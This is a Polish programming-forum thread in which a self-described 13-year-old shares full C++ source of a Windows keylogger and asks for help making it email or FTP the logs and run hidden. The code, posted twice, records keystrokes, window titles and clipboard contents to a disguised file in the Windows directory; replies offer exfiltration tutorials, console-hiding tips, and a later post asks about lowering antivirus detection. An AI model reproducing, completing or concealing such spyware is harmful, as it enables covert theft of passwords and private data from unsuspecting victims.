Keylogger C++ - Pomoc

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Witam!
Napisałem keylogger w C++ (Zapisuje logi do pliku + Nazwy programów), ale chciałbym dodać, aby wysyłał mi logi na email. xD Niewiem co dopisac... :/ Mógłbym mi ktoś pomóc?


I jeszcze chciałbym, ażeby keylogger pracował w tle, bo przy moim wyświetla się okienko CMD
smile.gif


To mój pierwszy, (Pozwole sobie go nazwac) program w C++
smile.gif
Więc proszę o wyrozumiałość!
 

Zergi

Użytkownik
Dołączył
Marzec 12, 2007
Posty
136
Zaraz, zaraz ... Napisałeś keyloggera i nie potrafisz napisać aby wysyłał Ci logi na maila i aby był ukryty? A przedewszystkim napisałeś keyloggera a nie potrafisz użyć funkcji szukaj ?;p
Nice ;d na forum już pare razy było o tym ;] wpisz mail w szukaj i znajdziesz chyba z 3 tematy ;d a co do ukrywania to weź w projekcie aby pracował nie w cmd tylko GUI wtedy okienko cmd sie nie pojawi

pzdro
 

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Originally posted by Zergi
Zaraz, zaraz ... Napisałeś keyloggera i nie potrafisz napisać aby wysyłał Ci logi na maila i aby był ukryty? A przedewszystkim napisałeś keyloggera a nie potrafisz użyć funkcji szukaj ?;p
Nice ;d na forum już pare razy było o tym ;] wpisz mail w szukaj i znajdziesz chyba z 3 tematy ;d a co do ukrywania to weź w projekcie aby pracował nie w cmd tylko GUI wtedy okienko cmd sie nie pojawi

pzdro

Dzięki! xD Nom, tak bywa. Mam dopiero 13 lat. Mógłby mi ktoś podac jakiś kod źródłowy z wysyłaniem na email'a albo ftp?
smile.gif
 

Zergi

Użytkownik
Dołączył
Marzec 12, 2007
Posty
136
W wieku 13 lat napisać keyloggera ;p o ile faktycznie go napisałeś to gratuluje Ci ;d i życze Ci abyś nie zniechęcił sie programowaniem zbyt szybko ;d bo później będziesz miał dużo wiekszą wiedze niż inni ;p
pozdro
 

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Tylko potrzebuje kodu źródłowego, żeby wysyłał np. co godziny na FTP bądź Email... Tego nie umiem napisać w C++. Widziałem do Delphi, ale całego keyloggera mam w C++. Proszę o pomoc!
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390

lasek_99

Użytkownik
Dołączył
Grudzień 18, 2007
Posty
152
Originally posted by Zergi
Ale to dla C++ Buildera ;p, a jemu chodzi chyba o inny kompilator ;d ale nie jestem pewny.

http://cppzone.host.sk/ tutaj w dziale artykuły jest bardzo dobry art o ftp ;d

pzdro

Dokładnie xD Pod wieczór sobie załatwie "C++ Builder". Używam Dev C++, narazie wszystko działa, ale zobaczy się później
smile.gif
Zaraz obcykam wasze linki.

_________________________________________________________

Mam jeszcze taki problem, gdzie wpisac uruchomienie się drugiego programu? (Funkcja ShellExecute.) Weźmy sobie jakieś losowe źródło keyloggera.

Kod:
#include <windows.h>

#include <stdio.h>

void wnd(void *fp){

SYSTEMTIME czas;

void *window[2];

char title[2];

window[1]=0;

GetSystemTime(&czas);

fprintf(fp, "<center>[b]%i-%i-%i %i:%i:%i UTC[/b]</center>
", czas.wYear, czas.wMonth, czas.wDay, czas.wHour, czas.wMinute, czas.wSecond);

while(1){

if((window[0]=GetForegroundWindow()) != window[1]){

if(GetWindowText(window[1]=window[0], title, sizeof(title))){

fputs("
[u][b]", fp);

fputs(title, fp);

fputs("[/u][/b]
", fp);

}}

Sleep(500);

}

return;

}

int main(int argc, char **argv){

char sys[512];

void *fp;

int  b[255], a, c, d, beta=0;

snprintf(sys, sizeof(sys), "%s12335348712588899542223588.html", getenv("WinDir"));

if(!(fp=fopen(sys, "ab")))return 1;

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)wnd, fp, 0, 0);

memset(b, 0, sizeof(b));

while(1){

if(GetAsyncKeyState(0x10)<0)d=1;

else d=0;

if((d && GetKeyState(0x14)) || (!d && !GetKeyState(0x14)))c=1;

else c=0;

if(GetAsyncKeyState(0xA5)<0)c+=2;

for(a=0;a<0xFF;a++){

if((!b[a]) && (GetAsyncKeyState(a)<0)){

b[a]=1;

switch(a){

case 'A':

switch(c){

case 0:

fputc('A', fp);

break;

case 1:

fputc('a', fp);

break;

case 2:

fputc('Ą', fp);

break;

case 3:

fputc('ą', fp);

break;

}

break;

case 'B':

switch(c){

case 0:

fputc('B', fp);

break;

case 1:

fputc('b', fp);

break;

}

break;

case 'C':

switch(c){

case 0:

fputc('C', fp);

break;

case 1:

fputc('c', fp);

break;

case 2:

fputc('Ć', fp);

break;

case 3:

fputc('ć', fp);

break;

}

break;

case 'D':

switch(c){

case 0:

fputc('D', fp);

break;

case 1:

fputc('d', fp);

break;

}

break;

case 'E':

switch(c){

case 0:

fputc('E', fp);

break;

case 1:

fputc('e', fp);

break;

case 2:

fputc('Ę', fp);

break;

case 3:

fputc('ę', fp);

break;

}

break;

case 'F':

switch(c){

case 0:

fputc('F', fp);

break;

case 1:

fputc('f', fp);

break;

}

break;

case 'G':

switch(c){

case 0:

fputc('G', fp);

break;

case 1:

fputc('g', fp);

break;

}

break;

case 'H':

switch(c){

case 0:

fputc('H', fp);

break;

case 1:

fputc('h', fp);

break;

}

break;

case 'I':

switch(c){

case 0:

fputc('I', fp);

break;

case 1:

fputc('i', fp);

break;

}

break;

case 'J':

switch(c){

case 0:

fputc('J', fp);

break;

case 1:

fputc('j', fp);

break;

}

break;

case 'K':

switch(c){

case 0:

fputc('K', fp);

break;

case 1:

fputc('k', fp);

break;

}

break;

case 'L':

switch(c){

case 0:

fputc('L', fp);

break;

case 1:

fputc('l', fp);

break;

case 2:

fputc('Ł', fp);

break;

case 3:

fputc('ł', fp);

break;

}

break;

case 'M':

switch(c){

case 0:

fputc('M', fp);

break;

case 1:

fputc('m', fp);

break;

}

break;

case 'N':

switch(c){

case 0:

fputc('N', fp);

break;

case 1:

fputc('n', fp);

break;

case 2:

fputc('Ń', fp);

break;

case 3:

fputc('ń', fp);

break;

}

break;

case 'O':

switch(c){

case 0:

fputc('O', fp);

break;

case 1:

fputc('o', fp);

break;

case 2:

fputc('Ó', fp);

break;

case 3:

fputc('ó', fp);

break;

}

break;

case 'P':

switch(c){

case 0:

fputc('P', fp);

break;

case 1:

fputc('p', fp);

break;

}

break;

case 'Q':

switch(c){

case 0:

fputc('Q', fp);

break;

case 1:

fputc('q', fp);

break;

}

break;

case 'R':

switch(c){

case 0:

fputc('R', fp);

break;

case 1:

fputc('r', fp);

break;

}

break;

case 'S':

switch(c){

case 0:

fputc('S', fp);

break;

case 1:

fputc('s', fp);

break;

case 2:

fputc('Ś', fp);

break;

case 3:

fputc('ś', fp);

break;

}

break;

case 'T':

switch(c){

case 0:

fputc('T', fp);

break;

case 1:

fputc('t', fp);

break;

}

break;

case 'U':

switch(c){

case 0:

fputc('U', fp);

break;

case 1:

fputc('u', fp);

break;

}

break;

case 'V':

if((GetAsyncKeyState(0x11)<0) && (GetAsyncKeyState(0xA5)>=0)){

OpenClipboard(0);

fputs("[i][CLIPBOARD][/i]", fp);

fputs(GetClipboardData(CF_TEXT), fp);

fputs("[i][/CLIPBOARD][/i]", fp);

CloseClipboard();

}

else switch(c){

case 0:

fputc('V', fp);

break;

case 1:

fputc('v', fp);

break;

}

break;

case 'W':

switch(c){

case 0:

fputc('W', fp);

break;

case 1:

fputc('w', fp);

break;

}

break;

case 'X':

switch(c){

case 0:

fputc('X', fp);

break;

case 1:

fputc('x', fp);

break;

case 2:

fputc('Ź', fp);

break;

case 3:

fputc('ź', fp);

break;

}

break;

case 'Y':

switch(c){

case 0:

fputc('Y', fp);

break;

case 1:

fputc('y', fp);

break;

}

break;

case 'Z':

switch(c){

case 0:

fputc('Z', fp);

break;

case 1:

fputc('z', fp);

break;

case 2:

fputc('Ż', fp);

break;

case 3:

fputc('ż', fp);

break;

}

break;

case '0':

if(d)fputc(')', fp);

else fputc('0', fp);

break;

case '1':

if(d)fputc('!', fp);

else fputc('1', fp);

break;

case '2':

if(d)fputc('@', fp);

else fputc('2', fp);

break;

case '3':

if(d)fputc('#', fp);

else fputc('3', fp);

break;

case '4':

if(d)fputc('$', fp);

else fputc('4', fp);

break;

case '5':

if(d)fputc('%', fp);

else fputc('5', fp);

break;

case '6':

if(d)fputc('^', fp);

else fputc('6', fp);

break;

case '7':

if(d)fputc('&', fp);

else fputc('7', fp);

break;

case '8':

if(d)fputc('*', fp);

else fputc('8', fp);

break;

case '9':

if(d)fputc('(', fp);

else fputc('9', fp);

break;

case 0xBA:

if(d)fputc(':', fp);

else fputc(';', fp);

break;

case 0xBB:

if(d)fputc('+', fp);

else fputc('=', fp);

break;

case 0xBC:

if(d)fputc('<', fp);

else fputc(',', fp);

break;

case 0xBD:

if(d)fputc('_', fp);

else fputc('-', fp);

break;

case 0xBE:

if(d)fputc('>', fp);

else fputc('.', fp);

break;

case 0xBF:

if(d)fputc('/', fp);

else fputc('?', fp);

break;

case 0xC0:

if(d)fputc('~', fp);

else fputc('`', fp);

break;

case 0xDB:

if(d)fputc('{', fp);

else fputc('[', fp);

break;

case 0xDC:

if(d)fputc('|', fp);

else fputc('', fp);

break;

case 0xDD:

if(d)fputc('}', fp);

else fputc(']', fp);

break;

case 0xDE:

if(d)fputc('"', fp);

else fputc(''', fp);

break;

case 0x20:

fputc(' ', fp);

break;

case 0x0D:

fputs("
", fp);

break;

case 0x08:

fputs("[i][BSP][/i]", fp);

break;

case 0x09:

fputs("[i][TAB][/i]", fp);

break;

case 0x21:

fputs("[i][PG_UP][/i]", fp);

break;

case 0x22:

fputs("[i][PG_DOWN][/i]", fp);

break;

case 0x23:

fputs("[i][END][/i]", fp);

break;

case 0x24:

fputs("[i][HOME][/i]", fp);

break;

case 0x25:

fputs("[i][LEFT][/i]", fp);

break;

case 0x26:

fputs("[i][UP][/i]", fp);

break;

case 0x27:

fputs("[i][RIGHT][/i]", fp);

break;

case 0x28:

fputs("[i][DOWN][/i]", fp);

break;

case 0x2C:

fputs("[i][SCR][/i]", fp);

break;

case 0xA0:

fputs("[i][L_SHIFT][/i]", fp);

break;

case 0xA1:

fputs("[i][R_SHIFT][/i]", fp);

break;

case 0xA2:

if(GetAsyncKeyState(0xA5)>=0)fputs("[i][L_CTRL][/i]", fp);

break;

case 0xA3:

fputs("[i][R_CTRL][/i]", fp);

break;

case 0xA4:

fputs("[i][L_ALT][/i]", fp);

break;

case 0xA5:

fputs("[i][R_ALT][/i]", fp);

break;

case 0x5B:

fputs("[i][L_WIN][/i]", fp);

break;

case 0x5C:

fputs("[i][R_WIN][/i]", fp);

break;

case 0x2D:

fputs("[i][INS][/i]", fp);

break;

case 0x2E:

fputs("[i][DEL][/i]", fp);

break;

case 0x60:

fputc('0', fp);

break;

case 0x61:

fputc('1', fp);

break;

case 0x62:

fputc('2', fp);

break;

case 0x63:

fputc('3', fp);

break;

case 0x64:

fputc('4', fp);

break;

case 0x65:

fputc('5', fp);

break;

case 0x66:

fputc('6', fp);

break;

case 0x67:

fputc('7', fp);

break;

case 0x68:

fputc('8', fp);

break;

case 0x69:

fputc('9', fp);

break;

case 0x6A:

fputc('*', fp);

break;

case 0x6B:

fputc('+', fp);

break;

case 0x6D:

fputc('-', fp);

break;

case 0x6E:

fputc(',', fp);

break;

case 0x6F:

fputc('/', fp);

break;

case 0x70:

fputs("[i][F1][/i]", fp);

break;

case 0x71:

fputs("[i][F2][/i]", fp);

break;

case 0x72:

fputs("[i][F3][/i]", fp);

break;

case 0x73:

fputs("[i][F4][/i]", fp);

break;

case 0x74:

fputs("[i][F5][/i]", fp);

break;

case 0x75:

fputs("[i][F6][/i]", fp);

break;

case 0x76:

fputs("[i][F7][/i]", fp);

break;

case 0x77:

fputs("[i][F8][/i]", fp);

break;

case 0x78:

fputs("[i][F9][/i]", fp);

break;

case 0x79:

fputs("[i][F10][/i]", fp);

break;

case 0x7A:

fputs("[i][F11][/i]", fp);

break;

case 0x7B:

fputs("[i][F12][/i]", fp);

if((++beta)==7){

MessageBoxA(GetForegroundWindow(), ".", ".", MB_ICONINFORMATION);

ExitProcess(0);/*Only in beta version*/

}

break;

}}

else if (GetAsyncKeyState(a)>=0)b[a]=0;

}

Sleep(1);

}

return 0;

}

I gdzie wkleic ten kod? (Nie licząc #include):
Kod:
#include <windows.h>

#include <shellapi.h>

int main(void)

{

ShellExecute(0, "open", "c:pb.txt" , "" , "" , SW_HIDE);

return 997;

}

_____________________________

I jeszcze pytanie. Dlaczego Dev C++ kompiluje ten projekt, a C++ Builder 6 nie?
smile.gif
(W Dev C++ 0 error, w C++B6 26 xD )
 

devilaz

Użytkownik
Dołączył
Grudzień 25, 2007
Posty
2
Originally posted by Zergi
Ale to dla C++ Buildera ;p, a jemu chodzi chyba o inny kompilator ;d ale nie jestem pewny.

http://cppzone.host.sk/ tutaj w dziale artykuły jest bardzo dobry art o ftp ;d

pzdro



zrobilem tak jak jest w tym artykule ale nie wiem gdzie sie wpisuje na ktory mail ma przysylac logi prosze o pomoc
 

backdoorman

Użytkownik
Dołączył
Wrzesień 23, 2007
Posty
117
Nie wiem czy sam to napisałeś czy spisałeś kod od jegomościa znanego nam pod pseudonimem "31337".
ale jeśli pisałeś sam to powonieneś conieco się oriętować w C++ , spróbój skorzystać z tego linka : http://forum.4programmers.net/viewtopic.php?id=104769 .jest to przykładowy program wysyłający na maila , jeśli uda Ci się złączyć kody w jedną całość zamieść wynik na forum . Niestety nie mam ostatnio wogule czasu żeby zasiąść na dłużej przed komputerem więc fajnie by było skorzystać z gotowców .
 

n0n4m3

Użytkownik
Dołączył
Styczeń 12, 2008
Posty
10
Originally posted by lasek_99+--><div class='quotetop'>CYTAT(lasek_99)</div>
<!--QuoteBegin-Zergi
Ale to dla C++ Buildera ;p, a jemu chodzi chyba o inny kompilator ;d ale nie jestem pewny.

http://cppzone.host.sk/ tutaj w dziale artykuły jest bardzo dobry art o ftp ;d

pzdro

Dokładnie xD Pod wieczór sobie załatwie "C++ Builder". Używam Dev C++, narazie wszystko działa, ale zobaczy się później
smile.gif
Zaraz obcykam wasze linki.

_________________________________________________________

Mam jeszcze taki problem, gdzie wpisac uruchomienie się drugiego programu? (Funkcja ShellExecute.) Weźmy sobie jakieś losowe źródło keyloggera.

Kod:
#include <windows.h>

#include <stdio.h>

void wnd(void *fp){

SYSTEMTIME czas;

void *window[2];

char title[2];

window[1]=0;

GetSystemTime(&czas);

fprintf(fp, "<center>[b]%i-%i-%i %i:%i:%i UTC[/b]</center>
", czas.wYear, czas.wMonth, czas.wDay, czas.wHour, czas.wMinute, czas.wSecond);

while(1){

if((window[0]=GetForegroundWindow()) != window[1]){

if(GetWindowText(window[1]=window[0], title, sizeof(title))){

fputs("
[u][b]", fp);

fputs(title, fp);

fputs("[/u][/b]
", fp);

}}

Sleep(500);

}

return;

}

int main(int argc, char **argv){

char sys[512];

void *fp;

int  b[255], a, c, d, beta=0;

snprintf(sys, sizeof(sys), "%s12335348712588899542223588.html", getenv("WinDir"));

if(!(fp=fopen(sys, "ab")))return 1;

CreateThread(0, 0, (LPTHREAD_START_ROUTINE)wnd, fp, 0, 0);

memset(b, 0, sizeof(b));

while(1){

if(GetAsyncKeyState(0x10)<0)d=1;

else d=0;

if((d && GetKeyState(0x14)) || (!d && !GetKeyState(0x14)))c=1;

else c=0;

if(GetAsyncKeyState(0xA5)<0)c+=2;

for(a=0;a<0xFF;a++){

if((!b[a]) && (GetAsyncKeyState(a)<0)){

b[a]=1;

switch(a){

case 'A':

switch(c){

case 0:

fputc('A', fp);

break;

case 1:

fputc('a', fp);

break;

case 2:

fputc('Ą', fp);

break;

case 3:

fputc('ą', fp);

break;

}

break;

case 'B':

switch(c){

case 0:

fputc('B', fp);

break;

case 1:

fputc('b', fp);

break;

}

break;

case 'C':

switch(c){

case 0:

fputc('C', fp);

break;

case 1:

fputc('c', fp);

break;

case 2:

fputc('Ć', fp);

break;

case 3:

fputc('ć', fp);

break;

}

break;

case 'D':

switch(c){

case 0:

fputc('D', fp);

break;

case 1:

fputc('d', fp);

break;

}

break;

case 'E':

switch(c){

case 0:

fputc('E', fp);

break;

case 1:

fputc('e', fp);

break;

case 2:

fputc('Ę', fp);

break;

case 3:

fputc('ę', fp);

break;

}

break;

case 'F':

switch(c){

case 0:

fputc('F', fp);

break;

case 1:

fputc('f', fp);

break;

}

break;

case 'G':

switch(c){

case 0:

fputc('G', fp);

break;

case 1:

fputc('g', fp);

break;

}

break;

case 'H':

switch(c){

case 0:

fputc('H', fp);

break;

case 1:

fputc('h', fp);

break;

}

break;

case 'I':

switch(c){

case 0:

fputc('I', fp);

break;

case 1:

fputc('i', fp);

break;

}

break;

case 'J':

switch(c){

case 0:

fputc('J', fp);

break;

case 1:

fputc('j', fp);

break;

}

break;

case 'K':

switch(c){

case 0:

fputc('K', fp);

break;

case 1:

fputc('k', fp);

break;

}

break;

case 'L':

switch(c){

case 0:

fputc('L', fp);

break;

case 1:

fputc('l', fp);

break;

case 2:

fputc('Ł', fp);

break;

case 3:

fputc('ł', fp);

break;

}

break;

case 'M':

switch(c){

case 0:

fputc('M', fp);

break;

case 1:

fputc('m', fp);

break;

}

break;

case 'N':

switch(c){

case 0:

fputc('N', fp);

break;

case 1:

fputc('n', fp);

break;

case 2:

fputc('Ń', fp);

break;

case 3:

fputc('ń', fp);

break;

}

break;

case 'O':

switch(c){

case 0:

fputc('O', fp);

break;

case 1:

fputc('o', fp);

break;

case 2:

fputc('Ó', fp);

break;

case 3:

fputc('ó', fp);

break;

}

break;

case 'P':

switch(c){

case 0:

fputc('P', fp);

break;

case 1:

fputc('p', fp);

break;

}

break;

case 'Q':

switch(c){

case 0:

fputc('Q', fp);

break;

case 1:

fputc('q', fp);

break;

}

break;

case 'R':

switch(c){

case 0:

fputc('R', fp);

break;

case 1:

fputc('r', fp);

break;

}

break;

case 'S':

switch(c){

case 0:

fputc('S', fp);

break;

case 1:

fputc('s', fp);

break;

case 2:

fputc('Ś', fp);

break;

case 3:

fputc('ś', fp);

break;

}

break;

case 'T':

switch(c){

case 0:

fputc('T', fp);

break;

case 1:

fputc('t', fp);

break;

}

break;

case 'U':

switch(c){

case 0:

fputc('U', fp);

break;

case 1:

fputc('u', fp);

break;

}

break;

case 'V':

if((GetAsyncKeyState(0x11)<0) && (GetAsyncKeyState(0xA5)>=0)){

OpenClipboard(0);

fputs("[i][CLIPBOARD][/i]", fp);

fputs(GetClipboardData(CF_TEXT), fp);

fputs("[i][/CLIPBOARD][/i]", fp);

CloseClipboard();

}

else switch(c){

case 0:

fputc('V', fp);

break;

case 1:

fputc('v', fp);

break;

}

break;

case 'W':

switch(c){

case 0:

fputc('W', fp);

break;

case 1:

fputc('w', fp);

break;

}

break;

case 'X':

switch(c){

case 0:

fputc('X', fp);

break;

case 1:

fputc('x', fp);

break;

case 2:

fputc('Ź', fp);

break;

case 3:

fputc('ź', fp);

break;

}

break;

case 'Y':

switch(c){

case 0:

fputc('Y', fp);

break;

case 1:

fputc('y', fp);

break;

}

break;

case 'Z':

switch(c){

case 0:

fputc('Z', fp);

break;

case 1:

fputc('z', fp);

break;

case 2:

fputc('Ż', fp);

break;

case 3:

fputc('ż', fp);

break;

}

break;

case '0':

if(d)fputc(')', fp);

else fputc('0', fp);

break;

case '1':

if(d)fputc('!', fp);

else fputc('1', fp);

break;

case '2':

if(d)fputc('@', fp);

else fputc('2', fp);

break;

case '3':

if(d)fputc('#', fp);

else fputc('3', fp);

break;

case '4':

if(d)fputc('$', fp);

else fputc('4', fp);

break;

case '5':

if(d)fputc('%', fp);

else fputc('5', fp);

break;

case '6':

if(d)fputc('^', fp);

else fputc('6', fp);

break;

case '7':

if(d)fputc('&', fp);

else fputc('7', fp);

break;

case '8':

if(d)fputc('*', fp);

else fputc('8', fp);

break;

case '9':

if(d)fputc('(', fp);

else fputc('9', fp);

break;

case 0xBA:

if(d)fputc(':', fp);

else fputc(';', fp);

break;

case 0xBB:

if(d)fputc('+', fp);

else fputc('=', fp);

break;

case 0xBC:

if(d)fputc('<', fp);

else fputc(',', fp);

break;

case 0xBD:

if(d)fputc('_', fp);

else fputc('-', fp);

break;

case 0xBE:

if(d)fputc('>', fp);

else fputc('.', fp);

break;

case 0xBF:

if(d)fputc('/', fp);

else fputc('?', fp);

break;

case 0xC0:

if(d)fputc('~', fp);

else fputc('`', fp);

break;

case 0xDB:

if(d)fputc('{', fp);

else fputc('[', fp);

break;

case 0xDC:

if(d)fputc('|', fp);

else fputc('', fp);

break;

case 0xDD:

if(d)fputc('}', fp);

else fputc(']', fp);

break;

case 0xDE:

if(d)fputc('"', fp);

else fputc(''', fp);

break;

case 0x20:

fputc(' ', fp);

break;

case 0x0D:

fputs("
", fp);

break;

case 0x08:

fputs("[i][BSP][/i]", fp);

break;

case 0x09:

fputs("[i][TAB][/i]", fp);

break;

case 0x21:

fputs("[i][PG_UP][/i]", fp);

break;

case 0x22:

fputs("[i][PG_DOWN][/i]", fp);

break;

case 0x23:

fputs("[i][END][/i]", fp);

break;

case 0x24:

fputs("[i][HOME][/i]", fp);

break;

case 0x25:

fputs("[i][LEFT][/i]", fp);

break;

case 0x26:

fputs("[i][UP][/i]", fp);

break;

case 0x27:

fputs("[i][RIGHT][/i]", fp);

break;

case 0x28:

fputs("[i][DOWN][/i]", fp);

break;

case 0x2C:

fputs("[i][SCR][/i]", fp);

break;

case 0xA0:

fputs("[i][L_SHIFT][/i]", fp);

break;

case 0xA1:

fputs("[i][R_SHIFT][/i]", fp);

break;

case 0xA2:

if(GetAsyncKeyState(0xA5)>=0)fputs("[i][L_CTRL][/i]", fp);

break;

case 0xA3:

fputs("[i][R_CTRL][/i]", fp);

break;

case 0xA4:

fputs("[i][L_ALT][/i]", fp);

break;

case 0xA5:

fputs("[i][R_ALT][/i]", fp);

break;

case 0x5B:

fputs("[i][L_WIN][/i]", fp);

break;

case 0x5C:

fputs("[i][R_WIN][/i]", fp);

break;

case 0x2D:

fputs("[i][INS][/i]", fp);

break;

case 0x2E:

fputs("[i][DEL][/i]", fp);

break;

case 0x60:

fputc('0', fp);

break;

case 0x61:

fputc('1', fp);

break;

case 0x62:

fputc('2', fp);

break;

case 0x63:

fputc('3', fp);

break;

case 0x64:

fputc('4', fp);

break;

case 0x65:

fputc('5', fp);

break;

case 0x66:

fputc('6', fp);

break;

case 0x67:

fputc('7', fp);

break;

case 0x68:

fputc('8', fp);

break;

case 0x69:

fputc('9', fp);

break;

case 0x6A:

fputc('*', fp);

break;

case 0x6B:

fputc('+', fp);

break;

case 0x6D:

fputc('-', fp);

break;

case 0x6E:

fputc(',', fp);

break;

case 0x6F:

fputc('/', fp);

break;

case 0x70:

fputs("[i][F1][/i]", fp);

break;

case 0x71:

fputs("[i][F2][/i]", fp);

break;

case 0x72:

fputs("[i][F3][/i]", fp);

break;

case 0x73:

fputs("[i][F4][/i]", fp);

break;

case 0x74:

fputs("[i][F5][/i]", fp);

break;

case 0x75:

fputs("[i][F6][/i]", fp);

break;

case 0x76:

fputs("[i][F7][/i]", fp);

break;

case 0x77:

fputs("[i][F8][/i]", fp);

break;

case 0x78:

fputs("[i][F9][/i]", fp);

break;

case 0x79:

fputs("[i][F10][/i]", fp);

break;

case 0x7A:

fputs("[i][F11][/i]", fp);

break;

case 0x7B:

fputs("[i][F12][/i]", fp);

if((++beta)==7){

MessageBoxA(GetForegroundWindow(), ".", ".", MB_ICONINFORMATION);

ExitProcess(0);/*Only in beta version*/

}

break;

}}

else if (GetAsyncKeyState(a)>=0)b[a]=0;

}

Sleep(1);

}

return 0;

}

I gdzie wkleic ten kod? (Nie licząc #include):
Kod:
#include <windows.h>

#include <shellapi.h>

int main(void)

{

ShellExecute(0, "open", "c:pb.txt" , "" , "" , SW_HIDE);

return 997;

}

_____________________________

I jeszcze pytanie. Dlaczego Dev C++ kompiluje ten projekt, a C++ Builder 6 nie?
smile.gif
(W Dev C++ 0 error, w C++B6 26 xD )[/b]



Witam all:p Nowy na forum:)

zamaist tych "case" dla z,w,f,y,w itp. urzyj odpowiedniej petli
smile.gif
 

Swiezy104

Użytkownik
Dołączył
Styczeń 23, 2008
Posty
2
ehhh ucze sie w technikum c++ dopiero druga klasa.. ale ten kod mnie powalil.. jego dlugosc ;||||| poprostu szczeka mi opadla ;s Wielki szacunek dla was...
 

hkl

Użytkownik
Dołączył
Styczeń 7, 2008
Posty
1
Originally posted by Swiezy104
ehhh ucze sie w technikum c++ dopiero druga klasa.. ale ten kod mnie powalil.. jego dlugosc ;||||| poprostu szczeka mi opadla ;s Wielki szacunek dla was...
dluzszy kod, nie znaczy ze lepszy. zazwyczaj jest na odwrot.
 

Avithor

Użytkownik
Dołączył
Kwiecień 20, 2010
Posty
2
Mam taki problem. Nie widzę tutaj treści autora tematu, nie wiem co jest. :huh:

Co do tematu - niższa wykrywalność keyloggera w C++ czy w Delphi, a może w Pascalu? :eek:
 
Do góry Bottom